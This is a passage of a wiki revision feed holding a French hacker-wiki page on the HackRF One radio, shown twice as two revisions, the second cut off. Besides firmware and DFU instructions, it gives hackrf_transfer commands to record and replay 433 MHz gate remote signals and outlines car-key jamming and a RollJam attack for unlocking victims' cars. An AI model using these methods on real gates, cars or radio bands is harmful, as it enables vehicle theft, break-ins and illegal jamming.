		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93566"/>
		<updated>2023-12-02T16:08:15Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Radio Jamming */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; ([https://greatscottgadgets.com/hackrf/one/ Great Scott Gadgets]) est une radio définie par logiciel (&amp;lt;b&amp;gt;SDR&amp;lt;/b&amp;gt;) capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Il a été conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération.&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est un matériel &amp;lt;b&amp;gt;open source&amp;lt;/b&amp;gt; qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; sont livrés avec un micrologiciel sur la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;hackrf_one_usb.bin&amp;lt;/b&amp;gt;) dans le répertoire &amp;lt;b&amp;gt;firmware-bin&amp;lt;/b&amp;gt; de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez &amp;lt;b&amp;gt;compiler le vôtre&amp;lt;/b&amp;gt; à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.bin&amp;lt;/b&amp;gt;. Si vous compilez à partir des sources, le fichier s'appellera &amp;lt;b&amp;gt;hackrf_usb.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Lorsque vous écrivez une image de micrologiciel sur la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;, vous devrez peut-être réinitialiser le dispositif &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant &amp;lt;b&amp;gt;HACKRF_ERROR_NOT_FOUND&amp;lt;/b&amp;gt;, il s'agit souvent d'un &amp;lt;b&amp;gt;problème de permissions&amp;lt;/b&amp;gt; dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; installé dans la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt; a été endommagé ou si vous programmez un &amp;lt;b&amp;gt;HackRF fait maison&amp;lt;/b&amp;gt; pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus.&lt;br /&gt;
&lt;br /&gt;
Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode de démarrage DFU&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;DFU Boot&amp;lt;/b&amp;gt;).&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt; dans la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le &amp;lt;b&amp;gt;mode de démarrage DFU&amp;lt;/b&amp;gt; (D&amp;lt;b&amp;gt;FU Boot&amp;lt;/b&amp;gt;) n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur &amp;lt;b&amp;gt;LPC4330&amp;lt;/b&amp;gt; du &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; démarre à partir de la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;SPIFI&amp;lt;/b&amp;gt;). Il est également possible de démarrer le &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode DFU Boot&amp;lt;/b&amp;gt; (USB). En &amp;lt;b&amp;gt;mode de démarrage DFU&amp;lt;/b&amp;gt;, le &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme &amp;lt;b&amp;gt;DFU&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;Device Firmware Update&amp;lt;/b&amp;gt;) via USB, puis exécute ce code à partir de la RAM. Le &amp;lt;b&amp;gt;SPIFI&amp;lt;/b&amp;gt; est normalement inutilisé et non modifié en &amp;lt;b&amp;gt;mode DFU&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode DFU&amp;lt;/b&amp;gt;, maintenez &amp;lt;b&amp;gt;le bouton DFU&amp;lt;/b&amp;gt; enfoncé tout en l'allumant ou en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; et en le relâchant. Relâchez le bouton &amp;lt;b&amp;gt;DFU&amp;lt;/b&amp;gt; lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est prêt à recevoir le &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode DFU&amp;lt;/b&amp;gt;, court-circuitez deux broches sur l'une des &amp;lt;b&amp;gt;en-têtes &amp;quot;BOOT&amp;quot;&amp;lt;/b&amp;gt; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches &amp;lt;b&amp;gt;1&amp;lt;/b&amp;gt; et &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt; de &amp;lt;b&amp;gt;l'en-tête P32&amp;lt;/b&amp;gt; du &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;. &amp;lt;b&amp;gt;L'en-tête P32&amp;lt;/b&amp;gt; est étiqueté &amp;lt;b&amp;gt;P2_8&amp;lt;/b&amp;gt; sur la plupart des &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt; mais peut être étiqueté &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt; sur les &amp;lt;b&amp;gt;prototypes&amp;lt;/b&amp;gt;. &amp;lt;b&amp;gt;La broche 1&amp;lt;/b&amp;gt; est étiquetée &amp;lt;b&amp;gt;VCC&amp;lt;/b&amp;gt;. &amp;lt;b&amp;gt;La broche 2&amp;lt;/b&amp;gt; est &amp;lt;b&amp;gt;la broche centrale&amp;lt;/b&amp;gt;. Après le &amp;lt;b&amp;gt;démarrage DFU&amp;lt;/b&amp;gt;, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt; est prêt à recevoir un &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; dont le nom de fichier se termine par &amp;lt;b&amp;gt;.dfu&amp;lt;/b&amp;gt;, et non un &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; se terminant par &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; du &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; (prior to release 2021.03.1) nécessitent une &amp;lt;b&amp;gt;étape supplémentaire&amp;lt;/b&amp;gt; pour programmer un flux binaire dans le &amp;lt;b&amp;gt;CPLD&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du &amp;lt;b&amp;gt;CPLD&amp;lt;/b&amp;gt;, mettez d'abord à jour le &amp;lt;b&amp;gt;microprogramme flash SPI&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;libhackrf&amp;lt;/b&amp;gt; et &amp;lt;b&amp;gt;hackrf-tools&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le &amp;lt;b&amp;gt;CPLD&amp;lt;/b&amp;gt; a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le &amp;lt;b&amp;gt;jamming&amp;lt;/b&amp;gt; est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93565</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93565"/>
		<updated>2023-12-02T16:07:07Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Si nécessaire seulement: DFU Boot */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; ([https://greatscottgadgets.com/hackrf/one/ Great Scott Gadgets]) est une radio définie par logiciel (&amp;lt;b&amp;gt;SDR&amp;lt;/b&amp;gt;) capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Il a été conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération.&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est un matériel &amp;lt;b&amp;gt;open source&amp;lt;/b&amp;gt; qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; sont livrés avec un micrologiciel sur la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;hackrf_one_usb.bin&amp;lt;/b&amp;gt;) dans le répertoire &amp;lt;b&amp;gt;firmware-bin&amp;lt;/b&amp;gt; de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez &amp;lt;b&amp;gt;compiler le vôtre&amp;lt;/b&amp;gt; à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.bin&amp;lt;/b&amp;gt;. Si vous compilez à partir des sources, le fichier s'appellera &amp;lt;b&amp;gt;hackrf_usb.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Lorsque vous écrivez une image de micrologiciel sur la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;, vous devrez peut-être réinitialiser le dispositif &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant &amp;lt;b&amp;gt;HACKRF_ERROR_NOT_FOUND&amp;lt;/b&amp;gt;, il s'agit souvent d'un &amp;lt;b&amp;gt;problème de permissions&amp;lt;/b&amp;gt; dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; installé dans la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt; a été endommagé ou si vous programmez un &amp;lt;b&amp;gt;HackRF fait maison&amp;lt;/b&amp;gt; pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus.&lt;br /&gt;
&lt;br /&gt;
Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode de démarrage DFU&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;DFU Boot&amp;lt;/b&amp;gt;).&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt; dans la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le &amp;lt;b&amp;gt;mode de démarrage DFU&amp;lt;/b&amp;gt; (D&amp;lt;b&amp;gt;FU Boot&amp;lt;/b&amp;gt;) n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur &amp;lt;b&amp;gt;LPC4330&amp;lt;/b&amp;gt; du &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; démarre à partir de la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;SPIFI&amp;lt;/b&amp;gt;). Il est également possible de démarrer le &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode DFU Boot&amp;lt;/b&amp;gt; (USB). En &amp;lt;b&amp;gt;mode de démarrage DFU&amp;lt;/b&amp;gt;, le &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme &amp;lt;b&amp;gt;DFU&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;Device Firmware Update&amp;lt;/b&amp;gt;) via USB, puis exécute ce code à partir de la RAM. Le &amp;lt;b&amp;gt;SPIFI&amp;lt;/b&amp;gt; est normalement inutilisé et non modifié en &amp;lt;b&amp;gt;mode DFU&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode DFU&amp;lt;/b&amp;gt;, maintenez &amp;lt;b&amp;gt;le bouton DFU&amp;lt;/b&amp;gt; enfoncé tout en l'allumant ou en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; et en le relâchant. Relâchez le bouton &amp;lt;b&amp;gt;DFU&amp;lt;/b&amp;gt; lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est prêt à recevoir le &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; par USB.&lt;br /&gt;
&lt;br /&gt;
